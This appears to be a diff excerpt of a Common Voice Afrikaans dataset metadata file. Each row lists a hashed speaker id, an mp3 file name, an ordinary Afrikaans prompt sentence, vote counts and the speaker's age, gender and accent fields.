| 55 |
+
1e455d3eadd9850e2e807d4148826c0ea7c5e22bdbd2c6948841f28b256f47ede01f92c230ef264999090c62eceb62b94fc0ef596724226a638421904c556ba9 common_voice_af_40405100.mp3 22d45757d16f86dbcdc73df62f3966e6fb78a4edf84fb25d9caf1f823749e1f7 Ware individuele vryheid kan nie sonder ekonomiese sekuriteit en onafhanklikheid bestaan nie. 2 0 fifties male_masculine standaard af
|
| 56 |
+
1e455d3eadd9850e2e807d4148826c0ea7c5e22bdbd2c6948841f28b256f47ede01f92c230ef264999090c62eceb62b94fc0ef596724226a638421904c556ba9 common_voice_af_40405101.mp3 279b70e564dd825a90194ec207b56e9c3e293fa8fe9e4272f7e31d3ada841024 Sulke inrigtings word geklassifiseer onder die nywerheid soos aangedui deur die finale produk. 2 0 fifties male_masculine standaard af
|
| 57 |
+
1e455d3eadd9850e2e807d4148826c0ea7c5e22bdbd2c6948841f28b256f47ede01f92c230ef264999090c62eceb62b94fc0ef596724226a638421904c556ba9 common_voice_af_40405102.mp3 1ae5600e7d211348649bd66f27a81971c0e9fdfbdbdfdda584732297b09ef43d Ons moet jou klere week voordat ons dit was. 4 0 fifties male_masculine standaard af
|
| 58 |
+
1e455d3eadd9850e2e807d4148826c0ea7c5e22bdbd2c6948841f28b256f47ede01f92c230ef264999090c62eceb62b94fc0ef596724226a638421904c556ba9 common_voice_af_40405109.mp3 1e514d6bf096611893277a4e5041dbfc38682dabf8eca015f80a475f2adafb93 Sake- en beleggersvertroue verbeter ook, wat groter beleggings en ekonomiese groei aanmoedig. 2 0 fifties male_masculine standaard af
|
| 59 |
+
1e455d3eadd9850e2e807d4148826c0ea7c5e22bdbd2c6948841f28b256f47ede01f92c230ef264999090c62eceb62b94fc0ef596724226a638421904c556ba9 common_voice_af_40405111.mp3 29b7237a9e88e717033453da730a51bf0ed77d8806ff25d10233d5039d8e5814 Hy spog graag met sy prestasies. 2 0 fifties male_masculine standaard af
|
| 60 |
+
1e455d3eadd9850e2e807d4148826c0ea7c5e22bdbd2c6948841f28b256f47ede01f92c230ef264999090c62eceb62b94fc0ef596724226a638421904c556ba9 common_voice_af_40405112.mp3 0dd3714d99c93b219d328f7efd2b9c530d40dabe93cc9175cfc9f34351d472d8 Ons sal die uitslae ná die pouse bekend maak. 4 0 fifties male_masculine standaard af
|
| 61 |
+
1e455d3eadd9850e2e807d4148826c0ea7c5e22bdbd2c6948841f28b256f47ede01f92c230ef264999090c62eceb62b94fc0ef596724226a638421904c556ba9 common_voice_af_40405113.mp3 25405881a58ccb476275e2cbe8c922ec4b26388495db55798a28d55ce1f14b9b Die stadige stapper het agter die ander aangekom. 4 0 fifties male_masculine standaard af
|
| 62 |
+
1e455d3eadd9850e2e807d4148826c0ea7c5e22bdbd2c6948841f28b256f47ede01f92c230ef264999090c62eceb62b94fc0ef596724226a638421904c556ba9 common_voice_af_40405135.mp3 2de036f73b0f03efb2a61cdb456855be8a01e3e3d485d26cfb0f4110257ecaca Ekwivalensie moet benader word deur die gebruik van apparate, diagramme of probleemoplossing. 2 0 fifties male_masculine standaard af
|
| 63 |
+
1e455d3eadd9850e2e807d4148826c0ea7c5e22bdbd2c6948841f28b256f47ede01f92c230ef264999090c62eceb62b94fc0ef596724226a638421904c556ba9 common_voice_af_40405136.mp3 0497b985a5bd8e49fa6afe3affcbda195e3cece882ef20d26b8c5f93dbfacd16 Daar is 'n wet teen ontvoering. 2 0 fifties male_masculine standaard af
|
| 64 |
+
1e455d3eadd9850e2e807d4148826c0ea7c5e22bdbd2c6948841f28b256f47ede01f92c230ef264999090c62eceb62b94fc0ef596724226a638421904c556ba9 common_voice_af_40405137.mp3 05b4f6a8391a72074f23c1b0b31fc3cc0ebb0ca49fc907debe5f1c2f31a6b434 Dan kyk jy skielik in die tande van ’n Leeu vas. 4 0 fifties male_masculine standaard af
|
| 65 |
+
1e455d3eadd9850e2e807d4148826c0ea7c5e22bdbd2c6948841f28b256f47ede01f92c230ef264999090c62eceb62b94fc0ef596724226a638421904c556ba9 common_voice_af_40405986.mp3 0a5bff80ffa64af0fb3c0677d0843363cca1b5dbda3cf708800f759d118845b2 Eskom verskaf elektrisiteit op grootmaat aan die Sendingkerk wat self die verspreiding hanteer. 2 0 fifties male_masculine standaard af
|
| 66 |
+
1e455d3eadd9850e2e807d4148826c0ea7c5e22bdbd2c6948841f28b256f47ede01f92c230ef264999090c62eceb62b94fc0ef596724226a638421904c556ba9 common_voice_af_40405987.mp3 1d804210b2699e6c1784a50ef539c1084492dc2747d89cf6414f2862c67e161e Die vakadviseur vir Gasvryheidstudies moet beide spyskaarte goedkeur, tesame met die resepte. 2 0 fifties male_masculine standaard af
|
| 67 |
+
1e455d3eadd9850e2e807d4148826c0ea7c5e22bdbd2c6948841f28b256f47ede01f92c230ef264999090c62eceb62b94fc0ef596724226a638421904c556ba9 common_voice_af_40405988.mp3 08b1ad4c2263ae3c84fb90ebed74769bb549ce2d55bf9b65f93b426792f8a7a3 Die Departement het van 'n gesentraliseerde interne ouditeenheid en ouditkomitee gebruik gemaak. 2 0 fifties male_masculine standaard af
|
| 68 |
+
1e455d3eadd9850e2e807d4148826c0ea7c5e22bdbd2c6948841f28b256f47ede01f92c230ef264999090c62eceb62b94fc0ef596724226a638421904c556ba9 common_voice_af_40405989.mp3 2fb8a8c46c3e50d03a822abff0b7bd7dff644374ef084184a2d9501584ff6f3b Geen watersuiwering word gedoen nie en dit word aanbeveel dat hierdie proses ondersoek word. 4 0 fifties male_masculine standaard af
|
| 69 |
+
1e455d3eadd9850e2e807d4148826c0ea7c5e22bdbd2c6948841f28b256f47ede01f92c230ef264999090c62eceb62b94fc0ef596724226a638421904c556ba9 common_voice_af_40405990.mp3 2aab5c7c1245c087e898e7d5a588ffe7128aee7df914e0303c92610f0d209b3e Ondersteun ekonomiese groei en bemagtiging deur belegging in padgebaseerde vervoerinfrastruktuur. 4 0 fifties male_masculine standaard af
|
| 70 |
+
1e455d3eadd9850e2e807d4148826c0ea7c5e22bdbd2c6948841f28b256f47ede01f92c230ef264999090c62eceb62b94fc0ef596724226a638421904c556ba9 common_voice_af_40405991.mp3 2e3b103a9c3aa1dd71497ae4d26600a840d0f98c58e2dbfc3ba8a25cb7673b12 Baie parlementêre werk kan doeltreffender deur 'n kleiner en minder formele liggaam uitgevoer word. 4 0 fifties male_masculine standaard af
|
| 71 |
+
1e455d3eadd9850e2e807d4148826c0ea7c5e22bdbd2c6948841f28b256f47ede01f92c230ef264999090c62eceb62b94fc0ef596724226a638421904c556ba9 common_voice_af_40405993.mp3 2efe509fbf7acd830a89b181b7bac6fa8af9168afd343052a155545f9fd45131 Sy seun is langer as hy. 2 0 fifties male_masculine standaard af
|
| 72 |
+
1e455d3eadd9850e2e807d4148826c0ea7c5e22bdbd2c6948841f28b256f47ede01f92c230ef264999090c62eceb62b94fc0ef596724226a638421904c556ba9 common_voice_af_40405995.mp3 2ed85097cbc939b6230a29468928a2c6f6b23a90cdb0af7459f53b283478ea50 Sedert daardie tyd het die mossies verskillende eienskappe op verskillende plekke ontwikkel. 4 0 fifties male_masculine standaard af
|
| 73 |
+
1e455d3eadd9850e2e807d4148826c0ea7c5e22bdbd2c6948841f28b256f47ede01f92c230ef264999090c62eceb62b94fc0ef596724226a638421904c556ba9 common_voice_af_40406224.mp3 304f98b33b0c9657f1e60744568720b0ef8e8ac2e15a214cea447e8fad76b167 Ons sal 'n bok as deel van die seremonie offer. 4 0 fifties male_masculine standaard af
|
| 74 |
+
1e455d3eadd9850e2e807d4148826c0ea7c5e22bdbd2c6948841f28b256f47ede01f92c230ef264999090c62eceb62b94fc0ef596724226a638421904c556ba9 common_voice_af_40406225.mp3 2203c6ff79a4076b1bb5bd3aa5ac006f122cb982a3cb205ba1721ae299bfc3f8 Ek haat kaas 4 0 fifties male_masculine standaard af
|
| 75 |
+
1e455d3eadd9850e2e807d4148826c0ea7c5e22bdbd2c6948841f28b256f47ede01f92c230ef264999090c62eceb62b94fc0ef596724226a638421904c556ba9 common_voice_af_40406226.mp3 00322989dfef1de39ea4dabb26a21c5efc254470d494d7657161da150b7c91c0 Die vervaardiging van sodawater en dranke gegeur met vrugtesappe, strope of ander materiaal. 2 0 fifties male_masculine standaard af
|
| 76 |
+
1e455d3eadd9850e2e807d4148826c0ea7c5e22bdbd2c6948841f28b256f47ede01f92c230ef264999090c62eceb62b94fc0ef596724226a638421904c556ba9 common_voice_af_40406227.mp3 0b1797f204da94274755bc9a9257c14966f5b81287408bbf4f69333d2c9029dc Dié uitgaande besoek sal bilaterale betrekkinge tussen Suid-Afrika en Uganda verder verstewig. 2 0 fifties male_masculine standaard af
|
| 77 |
+
1e455d3eadd9850e2e807d4148826c0ea7c5e22bdbd2c6948841f28b256f47ede01f92c230ef264999090c62eceb62b94fc0ef596724226a638421904c556ba9 common_voice_af_40406228.mp3 2e7209e75fc153e51c04c89b750957820e3037388680cd7833d8d68359b710b2 Hulle het nie kinders gehad nie, want hy was impotent. 2 0 fifties male_masculine standaard af
|
| 78 |
+
1e455d3eadd9850e2e807d4148826c0ea7c5e22bdbd2c6948841f28b256f47ede01f92c230ef264999090c62eceb62b94fc0ef596724226a638421904c556ba9 common_voice_af_40406230.mp3 22953df96d72752c3c9c7bd9e8c878849be1bb7de9fb5ce770e182248a149a04 Sy het 'n besige sosiale lewe. 2 0 fifties male_masculine standaard af
|
| 79 |
+
1e455d3eadd9850e2e807d4148826c0ea7c5e22bdbd2c6948841f28b256f47ede01f92c230ef264999090c62eceb62b94fc0ef596724226a638421904c556ba9 common_voice_af_40406231.mp3 03e0358fc5c10530abde9dd49a3add879abda59c2b63ea7b132684aaef53674b Hierdie uitgebreide opdrag is vervolgens gebruik om die volgende plan van aksie te ontwikkel. 2 0 fifties male_masculine standaard af
|
| 80 |
+
1e455d3eadd9850e2e807d4148826c0ea7c5e22bdbd2c6948841f28b256f47ede01f92c230ef264999090c62eceb62b94fc0ef596724226a638421904c556ba9 common_voice_af_40406243.mp3 162be930c9c580c866de4bedf325e95062f79da5a6ba79d17439280d425c1484 Die asimptote van die tangensfunksie stem ooreen met die hoeke van ongedefinieerde uitsette. 4 0 fifties male_masculine standaard af
|
| 81 |
+
1e455d3eadd9850e2e807d4148826c0ea7c5e22bdbd2c6948841f28b256f47ede01f92c230ef264999090c62eceb62b94fc0ef596724226a638421904c556ba9 common_voice_af_40406244.mp3 32e24d3c0d6abf516fecc253c8191dc4b4a4e68bc43abe4143bcd5e715aeb92d Maak gebruik van die “Help”-funksie in jou woordprosesseerder om meer uit te vind. 2 0 fifties male_masculine standaard af
|
| 82 |
+
1e455d3eadd9850e2e807d4148826c0ea7c5e22bdbd2c6948841f28b256f47ede01f92c230ef264999090c62eceb62b94fc0ef596724226a638421904c556ba9 common_voice_af_40406245.mp3 03e201d5ba692a32608cc318981cabf042aca559bb78457793727d1656099a0d Jou mond verbypraat 4 0 fifties male_masculine standaard af
|
| 83 |
+
1e455d3eadd9850e2e807d4148826c0ea7c5e22bdbd2c6948841f28b256f47ede01f92c230ef264999090c62eceb62b94fc0ef596724226a638421904c556ba9 common_voice_af_40406246.mp3 254150b3bccf8f7b806f5d56404ee1dbd1c2d880a3994ddf7f260d93baa584ec Die rooivleisbedryf het gebuk gegaan onder toenemende druk in die tydperk direk na deregulering. 4 0 fifties male_masculine standaard af
|
| 84 |
+
1e455d3eadd9850e2e807d4148826c0ea7c5e22bdbd2c6948841f28b256f47ede01f92c230ef264999090c62eceb62b94fc0ef596724226a638421904c556ba9 common_voice_af_40406263.mp3 0ad2df1ef4b21ec53ddfe28e55ce7ca18ed6a6c87dc92fd0f3616aa09143c203 ʼn Breinkaart is ʼn metode om idees en konsepte visueel voor te stel. 4 0 fifties male_masculine standaard af
|
| 85 |
+
1e455d3eadd9850e2e807d4148826c0ea7c5e22bdbd2c6948841f28b256f47ede01f92c230ef264999090c62eceb62b94fc0ef596724226a638421904c556ba9 common_voice_af_40406267.mp3 14c4273bb16d77fb97009eee802f3422ffacfd23c30009943d2762a48d38d3bc Die voorsitter word deur die President aangestel uit die geledere van die benoemde kommissarisse. 2 0 fifties male_masculine standaard af
|
| 86 |
+
1e455d3eadd9850e2e807d4148826c0ea7c5e22bdbd2c6948841f28b256f47ede01f92c230ef264999090c62eceb62b94fc0ef596724226a638421904c556ba9 common_voice_af_40406269.mp3 13732cbf911ca83dcc61e47d7d22d7dafa938af08c9f77d429054dadbb76bd3a Elke aansoek om begrawing moet minstens twaalf werksure voor sodanige begrawing ingedien word. 2 0 fifties male_masculine standaard af
|
| 87 |
+
1e455d3eadd9850e2e807d4148826c0ea7c5e22bdbd2c6948841f28b256f47ede01f92c230ef264999090c62eceb62b94fc0ef596724226a638421904c556ba9 common_voice_af_40406299.mp3 101e7200a8a643dc6f5557e6b6225efdc3715d67c377d5a9861f35cfc3094916 As enige onreëlmatigheid gevind word, kommunikeer die kantoor direk met die betrokke Toergids. 2 0 fifties male_masculine standaard af
|
| 88 |
+
1e455d3eadd9850e2e807d4148826c0ea7c5e22bdbd2c6948841f28b256f47ede01f92c230ef264999090c62eceb62b94fc0ef596724226a638421904c556ba9 common_voice_af_40406303.mp3 2fef21ead255d18576031d4d76d6a13cb6a655ee8760d5ffc64db4ceb930ca32 Die regering moet werksaamhede onderneem om die gebruik van konvergerende tegnologieë te bestuur. 4 0 fifties male_masculine standaard af
|
| 89 |
+
1e455d3eadd9850e2e807d4148826c0ea7c5e22bdbd2c6948841f28b256f47ede01f92c230ef264999090c62eceb62b94fc0ef596724226a638421904c556ba9 common_voice_af_40406304.mp3 01533a6266b57e58f76837e1b9a8e36731f36e0f67c2fb6226c464224a0accc4 Besonderhede is beskikbaar by die Munisipale Kantore te Ladismith gedurende normale kantoorure. 2 0 fifties male_masculine standaard af
|
| 90 |
+
1e455d3eadd9850e2e807d4148826c0ea7c5e22bdbd2c6948841f28b256f47ede01f92c230ef264999090c62eceb62b94fc0ef596724226a638421904c556ba9 common_voice_af_40406306.mp3 323f30ff930e6e18df9db84dc47c5ceba0202659214e5b31044c53a56b422135 Die sonlig was helder en warm. 2 0 fifties male_masculine standaard af
|
| 91 |
+
1e455d3eadd9850e2e807d4148826c0ea7c5e22bdbd2c6948841f28b256f47ede01f92c230ef264999090c62eceb62b94fc0ef596724226a638421904c556ba9 common_voice_af_40407461.mp3 2ff4d5532500019028a42f00b16e6a58963ced37137f29620849887d078c8252 Was jy al in Italië? 4 0 fifties male_masculine standaard af
|
| 92 |
+
1e455d3eadd9850e2e807d4148826c0ea7c5e22bdbd2c6948841f28b256f47ede01f92c230ef264999090c62eceb62b94fc0ef596724226a638421904c556ba9 common_voice_af_40407462.mp3 2bd02d15ec0b94dedeb286357d8b6cf9820abbdb62f10fbc1c5fa7d9151dffa5 Dit sal ook aanvullend wees tot die provinsiale strategiese doelwit om veiligheid te verhoog. 4 0 fifties male_masculine standaard af
|
| 93 |
+
1e455d3eadd9850e2e807d4148826c0ea7c5e22bdbd2c6948841f28b256f47ede01f92c230ef264999090c62eceb62b94fc0ef596724226a638421904c556ba9 common_voice_af_40407463.mp3 06c35498b4b2474d9e56a214171fcf7186bdc893af980b21e0b3b53b53381819 Sy het 'n groot kneusplek op haar bobeen. 2 0 fifties male_masculine standaard af
|
| 94 |
+
1e455d3eadd9850e2e807d4148826c0ea7c5e22bdbd2c6948841f28b256f47ede01f92c230ef264999090c62eceb62b94fc0ef596724226a638421904c556ba9 common_voice_af_40407464.mp3 26530b01c655e7e6762f88feb4718de311a2087c9e259e4508c083e960bcbb63 Gebruik die gedeelde skryfaktiwiteite om korrekte leestekens, taal en spelling te demonstreer. 4 0 fifties male_masculine standaard af
|
| 95 |
+
1e455d3eadd9850e2e807d4148826c0ea7c5e22bdbd2c6948841f28b256f47ede01f92c230ef264999090c62eceb62b94fc0ef596724226a638421904c556ba9 common_voice_af_40407465.mp3 09428b7e44294a111d2f0552f327e545b7d816518fa19d574b220d422227cba5 Vier loodsprojekte is bepaal, en die nodige personeelopleiding en veranderingsbestuur vind plaas. 4 0 fifties male_masculine standaard af
|
| 96 |
+
1e455d3eadd9850e2e807d4148826c0ea7c5e22bdbd2c6948841f28b256f47ede01f92c230ef264999090c62eceb62b94fc0ef596724226a638421904c556ba9 common_voice_af_40419243.mp3 35a15fcc6f0f1a798c3326bb2a31bc27fe33197ae7eb9048702329b42e8d943f Ons geniet altyd ons aandete saam. 4 0 fifties male_masculine standaard af
|
| 97 |
+
1e455d3eadd9850e2e807d4148826c0ea7c5e22bdbd2c6948841f28b256f47ede01f92c230ef264999090c62eceb62b94fc0ef596724226a638421904c556ba9 common_voice_af_40419245.mp3 2ef457b6f09f386d61eeacaf2c9917b036603ac8d29c7871a95fa09d562bef7e Plaaslike regering is net een deel van 'n nuwe, samewerkende regeringstelsel in Suid-Afrika. 2 0 fifties male_masculine standaard af
|
| 98 |
+
1e455d3eadd9850e2e807d4148826c0ea7c5e22bdbd2c6948841f28b256f47ede01f92c230ef264999090c62eceb62b94fc0ef596724226a638421904c556ba9 common_voice_af_40419246.mp3 2964818f003410584c741f83cdce0375f755a260fedb4939988c0a189409c477 Die afgevaardigde outoriteite moet 'n minimum aantal vasstel wat aan applikante toegeken kan word. 4 0 fifties male_masculine standaard af
|
| 99 |
+
1e455d3eadd9850e2e807d4148826c0ea7c5e22bdbd2c6948841f28b256f47ede01f92c230ef264999090c62eceb62b94fc0ef596724226a638421904c556ba9 common_voice_af_40419247.mp3 15a935e751a4fea09fc8070db55e001e6e79a997f3b1b6d26cdc914058c8e0fc Ek stap werk toe 2 0 fifties male_masculine standaard af
|
| 100 |
+
1e455d3eadd9850e2e807d4148826c0ea7c5e22bdbd2c6948841f28b256f47ede01f92c230ef264999090c62eceb62b94fc0ef596724226a638421904c556ba9 common_voice_af_40419248.mp3 05e8f98e493de68b28705a1a4352084305d695eae22b4bd100a8273f2401b80b Euklidiese meetkunde hanteer ruimte en vorm met behulp van 'n stelsel van logiese afleidings. 4 0 fifties male_masculine standaard af
|
| 101 |
+
1e455d3eadd9850e2e807d4148826c0ea7c5e22bdbd2c6948841f28b256f47ede01f92c230ef264999090c62eceb62b94fc0ef596724226a638421904c556ba9 common_voice_af_40419249.mp3 0e0d238e8c9f5f73310fcf82230b8edb28c68976e15ee56317b7ead9af50ee2d Die glas was vol melk. 2 0 fifties male_masculine standaard af
|
| 102 |
+
1e455d3eadd9850e2e807d4148826c0ea7c5e22bdbd2c6948841f28b256f47ede01f92c230ef264999090c62eceb62b94fc0ef596724226a638421904c556ba9 common_voice_af_40419250.mp3 2a5dbc588843f51985d2eedb6175668ce97f303585954517bdd8a2e570d04fe4 Identifiseer 'n inheemse beheermetode wat met die chemiese beheer van siektes vergelyk kan word. 2 0 fifties male_masculine standaard af
|
| 103 |
+
1e455d3eadd9850e2e807d4148826c0ea7c5e22bdbd2c6948841f28b256f47ede01f92c230ef264999090c62eceb62b94fc0ef596724226a638421904c556ba9 common_voice_af_40419251.mp3 0c762b53ebc6726a8957c8a766c9d72f89c326c2a208271c2e935c4a19d24468 Ek het in Parys gebly toe ek elf jaar oud was 2 0 fifties male_masculine standaard af
|
| 104 |
+
1e455d3eadd9850e2e807d4148826c0ea7c5e22bdbd2c6948841f28b256f47ede01f92c230ef264999090c62eceb62b94fc0ef596724226a638421904c556ba9 common_voice_af_40419267.mp3 33a3af0da3ffa45c2a2baaba4253c010ef4aae5285cb3c9e318861365a70bf60 Suid-Afrika het een van die doeltreffendste en modernste belastingadministrasiestelsels ter wêreld. 4 0 fifties male_masculine standaard af
|
| 105 |
+
1e455d3eadd9850e2e807d4148826c0ea7c5e22bdbd2c6948841f28b256f47ede01f92c230ef264999090c62eceb62b94fc0ef596724226a638421904c556ba9 common_voice_af_40419268.mp3 05fa185de39cb1fcada11a5baed1da1edb6f70ed98857c6d8c560d221baa26a8 Verduidelik of die Swartbewussynsbeweging suksesvol was in die verwesenliking van sy doelstellings. 2 0 fifties male_masculine standaard af
|
| 106 |
+
1e455d3eadd9850e2e807d4148826c0ea7c5e22bdbd2c6948841f28b256f47ede01f92c230ef264999090c62eceb62b94fc0ef596724226a638421904c556ba9 common_voice_af_40419270.mp3 30857622e6095d5590725d65c0e2e49f980d02b8f14edb472e687d002738e069 Hy en sy vrou is al drie jaar getroud. 4 0 fifties male_masculine standaard af
|
| 107 |
+
1e455d3eadd9850e2e807d4148826c0ea7c5e22bdbd2c6948841f28b256f47ede01f92c230ef264999090c62eceb62b94fc0ef596724226a638421904c556ba9 common_voice_af_40426242.mp3 32796ba1d3e9d51bf1b0b3cbb937829b3a762cf8fb3bc2fb26381834aa1db0b5 Jou kind sal dan die inenting kry as toestemmingsvorms onderteken en betyds teruggestuur word! 2 0 fifties male_masculine standaard af
|
| 108 |
+
1e455d3eadd9850e2e807d4148826c0ea7c5e22bdbd2c6948841f28b256f47ede01f92c230ef264999090c62eceb62b94fc0ef596724226a638421904c556ba9 common_voice_af_40426245.mp3 0d1bd2afd05c064d9b054fdec12b15117fccd761441bbfff91f6946a7f720f81 Al die ou gunstelinge wat jy van 'n tradisionele basaar verwag, gaan daar wees 4 0 fifties male_masculine standaard af
|
| 109 |
+
1e455d3eadd9850e2e807d4148826c0ea7c5e22bdbd2c6948841f28b256f47ede01f92c230ef264999090c62eceb62b94fc0ef596724226a638421904c556ba9 common_voice_af_40426246.mp3 35522ac1dbed0f6fe519b6a4140126bbb462ef79312d6caa4077a54c7e67017c Bespreek die belangrikheid van waterbewaring in die sekondêre sektor van Suid-Afrika kortliks. 4 0 fifties male_masculine standaard af
|
| 110 |
+
1e455d3eadd9850e2e807d4148826c0ea7c5e22bdbd2c6948841f28b256f47ede01f92c230ef264999090c62eceb62b94fc0ef596724226a638421904c556ba9 common_voice_af_40437513.mp3 16e74b5ca8359d50916e822ed6dceb16b5aba620b1c7a259b198da57a329ad8a Orion is een van die maklikste konstellasies om te herken 2 0 fifties male_masculine standaard af
|
| 111 |
+
1e455d3eadd9850e2e807d4148826c0ea7c5e22bdbd2c6948841f28b256f47ede01f92c230ef264999090c62eceb62b94fc0ef596724226a638421904c556ba9 common_voice_af_40437514.mp3 3459c4a20ebd00e098868353fefebe5ff58eb1af1ec2157075c1bef03d257bf6 Die veiligheidsgaskrane moet op 'n geskikte posisie tussen die branders en oond geplaas wees. 4 0 fifties male_masculine standaard af
|
| 112 |
+
1e455d3eadd9850e2e807d4148826c0ea7c5e22bdbd2c6948841f28b256f47ede01f92c230ef264999090c62eceb62b94fc0ef596724226a638421904c556ba9 common_voice_af_40437515.mp3 2bb05fac0405890099b55f3b2c933e04f2e292a412737f6333c2da2580cdd7f2 In hierdie hof is die geloofwaardigheidsbevinding ten gunste van Oosthuizen nie aangeveg nie. 4 0 fifties male_masculine standaard af
|
| 113 |
+
1e455d3eadd9850e2e807d4148826c0ea7c5e22bdbd2c6948841f28b256f47ede01f92c230ef264999090c62eceb62b94fc0ef596724226a638421904c556ba9 common_voice_af_40437517.mp3 257e470e2275a7bb923765bce8043d8ff1ba3b0f25af64c07f976863d146e7c1 Ons gaan gewoonlik op 'n Saterdagoggend inkopies doen. 2 0 fifties male_masculine standaard af
|
| 114 |
+
1e455d3eadd9850e2e807d4148826c0ea7c5e22bdbd2c6948841f28b256f47ede01f92c230ef264999090c62eceb62b94fc0ef596724226a638421904c556ba9 common_voice_af_40437519.mp3 00558eb4e6a404852f3731fd5dfa4b53805b9269f670e14eb0d0461fed3b3960 Leerders moet die relevansie van musiek in die ritueel of seremonie demonstreer. 2 0 fifties male_masculine standaard af
|
| 115 |
+
1e455d3eadd9850e2e807d4148826c0ea7c5e22bdbd2c6948841f28b256f47ede01f92c230ef264999090c62eceb62b94fc0ef596724226a638421904c556ba9 common_voice_af_40437520.mp3 017d6cc90bfea6f61da2621852679f30da09557ea25e94a63690ea52cf848b1c Ek het dit twee weke gelede gekoop 2 0 fifties male_masculine standaard af
|
| 116 |
+
1e455d3eadd9850e2e807d4148826c0ea7c5e22bdbd2c6948841f28b256f47ede01f92c230ef264999090c62eceb62b94fc0ef596724226a638421904c556ba9 common_voice_af_40437523.mp3 037b53b83ab03c8a70fd75dabbde97403edfad302fc13a64da4a3c9bbb684e56 Onthou, die leser moet jou teks verstaan en oortuig word van jou argument. 2 0 fifties male_masculine standaard af
|
| 117 |
+
1e455d3eadd9850e2e807d4148826c0ea7c5e22bdbd2c6948841f28b256f47ede01f92c230ef264999090c62eceb62b94fc0ef596724226a638421904c556ba9 common_voice_af_40437541.mp3 1c4b4911205d9b13872ca16f91b0824fb93a94c5ec28a2a68d6a3fc5a45070bb Dit het ook die natuurlike growwe teksture en ongebleikte kleure van die oorspronklike plante. 2 0 fifties male_masculine standaard af
|
| 118 |
+
1e455d3eadd9850e2e807d4148826c0ea7c5e22bdbd2c6948841f28b256f47ede01f92c230ef264999090c62eceb62b94fc0ef596724226a638421904c556ba9 common_voice_af_40437542.mp3 284937ef24c35cde67d4f6e48f50731429bfada8f7c08560f5eb2ffc8cce4089 Die sukses van ons ontwikkelingsprogramme hang af van 'n stabiele en vooruitstrewende ekonomie. 2 0 fifties male_masculine standaard af
|
| 119 |
+
1e455d3eadd9850e2e807d4148826c0ea7c5e22bdbd2c6948841f28b256f47ede01f92c230ef264999090c62eceb62b94fc0ef596724226a638421904c556ba9 common_voice_af_40437741.mp3 1ca500cd9810f538f87fcb3387094da3bc38611451a512f011249a4f1746a9ec Peper laat my nies. 2 0 fifties male_masculine standaard af
|
| 120 |
+
1e455d3eadd9850e2e807d4148826c0ea7c5e22bdbd2c6948841f28b256f47ede01f92c230ef264999090c62eceb62b94fc0ef596724226a638421904c556ba9 common_voice_af_40437742.mp3 24e6d3e8c566cc6b6a049b7b06a00f6991f16c8f8f663d47f54eb06f3a828970 Geen onvolledige nominasies of nominasies sonder 'n getekende nominasievorm sal oorweeg word nie. 2 0 fifties male_masculine standaard af
|
| 121 |
+
1e455d3eadd9850e2e807d4148826c0ea7c5e22bdbd2c6948841f28b256f47ede01f92c230ef264999090c62eceb62b94fc0ef596724226a638421904c556ba9 common_voice_af_40437744.mp3 350cf2d43a61bfa24aa7612a6173a5a619fd48f934d63b9ccacd97331a4dff1d Gedurende watter seisoen beïnvloed die bogenoemde laagdrukstelsel gewoonlik Suid-Afrika se weer? 2 0 fifties male_masculine standaard af
|
| 122 |
+
1e455d3eadd9850e2e807d4148826c0ea7c5e22bdbd2c6948841f28b256f47ede01f92c230ef264999090c62eceb62b94fc0ef596724226a638421904c556ba9 common_voice_af_40437745.mp3 2b97ba3fac1c0e524bd8de2448609f4cf82e554153df77506da83322129e090b Beskryf die verwantskap tussen die verspreiding van ligene en die swart vorm van pepermotte? 4 0 fifties male_masculine standaard af
|
| 123 |
+
1e455d3eadd9850e2e807d4148826c0ea7c5e22bdbd2c6948841f28b256f47ede01f92c230ef264999090c62eceb62b94fc0ef596724226a638421904c556ba9 common_voice_af_40437754.mp3 0ee33d1696e69a2178b3a11fd7a23f9095489575cd1f5e68b7031f487f2d80a0 Hierdie veldtogte was baie suksesvol en is wyd op ons verskillende sosialemediaplatforms gedeel. 2 0 fifties male_masculine standaard af
|
| 124 |
+
1e455d3eadd9850e2e807d4148826c0ea7c5e22bdbd2c6948841f28b256f47ede01f92c230ef264999090c62eceb62b94fc0ef596724226a638421904c556ba9 common_voice_af_40437755.mp3 0098294630369537089932aa65e0aa93aa0d850d4a38c963de1d00d2648e91b0 Die Ouditkomitee gaan voort om die optrede op 'n deurlopende basis te monitor. 2 0 fifties male_masculine standaard af
|
| 125 |
+
1e455d3eadd9850e2e807d4148826c0ea7c5e22bdbd2c6948841f28b256f47ede01f92c230ef264999090c62eceb62b94fc0ef596724226a638421904c556ba9 common_voice_af_40437758.mp3 0757c5f9047eb1cff64a736d282a4ee5832cf8a80d690f1d59e19b6a4f2712ad Hy het by die trappe afgeval en sy heup beseer. 2 0 fifties male_masculine standaard af
|
| 126 |
+
1e455d3eadd9850e2e807d4148826c0ea7c5e22bdbd2c6948841f28b256f47ede01f92c230ef264999090c62eceb62b94fc0ef596724226a638421904c556ba9 common_voice_af_40437759.mp3 070c95982a9e232c1a9e9959f8b636279a36eaca2119471e6d411020fd5a3d73 Die regering sal dus besondere aandag skenk aan verbeterings op alle vlakke van dienslewering. 4 0 fifties male_masculine standaard af
|
| 127 |
+
1e455d3eadd9850e2e807d4148826c0ea7c5e22bdbd2c6948841f28b256f47ede01f92c230ef264999090c62eceb62b94fc0ef596724226a638421904c556ba9 common_voice_af_40437769.mp3 33fa5cff567096cee2f79fc49a79b0078aa120af0e916b3391c3b7e8a76caeec Soos wat die leerders se telvaardighede verander en ontwikkel, sal die getalpatrone verander. 2 0 fifties male_masculine standaard af
|
| 128 |
+
1e455d3eadd9850e2e807d4148826c0ea7c5e22bdbd2c6948841f28b256f47ede01f92c230ef264999090c62eceb62b94fc0ef596724226a638421904c556ba9 common_voice_af_40437770.mp3 1b89c0d60bde30c0080aae5c6d972eda674b7cb29cd25da8a6f55878adb0d81b In hierdie assesseringsrubrieke is dit belangrik om leerders in die korrekte kategorie te plaas. 2 0 fifties male_masculine standaard af
|
| 129 |
+
1e455d3eadd9850e2e807d4148826c0ea7c5e22bdbd2c6948841f28b256f47ede01f92c230ef264999090c62eceb62b94fc0ef596724226a638421904c556ba9 common_voice_af_40437772.mp3 161b5d626df8335a6a2bea4e021dc0124fff854adcfbca1a9b2dc0ed8ac3fd2a Studente behoort insig te ontwikkel in die belangrikheid van die periodieke tabel in Chemie. 4 0 fifties male_masculine standaard af
|
| 130 |
+
